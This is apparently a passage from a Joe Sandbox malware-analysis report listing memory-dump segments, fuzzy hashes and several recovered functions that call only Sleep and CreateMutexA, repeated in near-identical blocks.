Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 35f4b99f29adb3b25cd49bc2e61c87b824c627008051856273f2566520202069
Instruction ID: 4d90de5afb8ba23e99c6239fda118f7a58d96f4f9f30039b658e9dc2ee1f78e4
Opcode Fuzzy Hash: 35f4b99f29adb3b25cd49bc2e61c87b824c627008051856273f2566520202069
Instruction Fuzzy Hash: 9F3168317042449BEB18FB78DC8DB7DB762EB82318F244219E014EB3D6C7369A858759

Function 00C89F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f0a495549a09da3b82163f05ab131bff5fc17e82044e6a716692e6ce34c8d05c
Instruction ID: 0a26c4b03149a0884a685aba6d162cf9c2adef66896f19dde14aee14e9694011
Opcode Fuzzy Hash: f0a495549a09da3b82163f05ab131bff5fc17e82044e6a716692e6ce34c8d05c
Instruction Fuzzy Hash: A53148317041449BEB1CFBB8DC8D7ACB762EB85318F244619F025EB2D1C7369A858726

Function 00C8A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c02504a570cfb63fa65e4f04f9e6375063fc0eec13c1a3ee7612fc4fd96c80f4
Instruction ID: 6f7127e08aacbbaa5de0d566f7dc31b626dda02899778a7b5c69816adacd43fc
Opcode Fuzzy Hash: c02504a570cfb63fa65e4f04f9e6375063fc0eec13c1a3ee7612fc4fd96c80f4
Instruction Fuzzy Hash: 20316831704144DBFB18EBB8DDCDB6CB762DB81318F24421AE015EB3D1CB369985872A

Function 00C8A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8648fcd65bdbb64ee949eb55e6955384abbf5b423ed04e26909de5f45be6a82d
Instruction ID: 95c422a8d2af5b2739bd57943d831a2fff00d378102127a7994c0a955aff3f71
Opcode Fuzzy Hash: 8648fcd65bdbb64ee949eb55e6955384abbf5b423ed04e26909de5f45be6a82d
Instruction Fuzzy Hash: 6B314A31704140DBFB18EB78DC8DB6DB762AB86318F24461AE014E72D1D7369984871A

Function 00C8A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d900c9a9d79f75fbd4d4ba1ea1aab6711db79ab3566228d99d7a55a72982c4cf
Instruction ID: 4b17b6f2938607bcd6ad9d347de90633cd7f99317985964c0ccc3ba1df99eb45
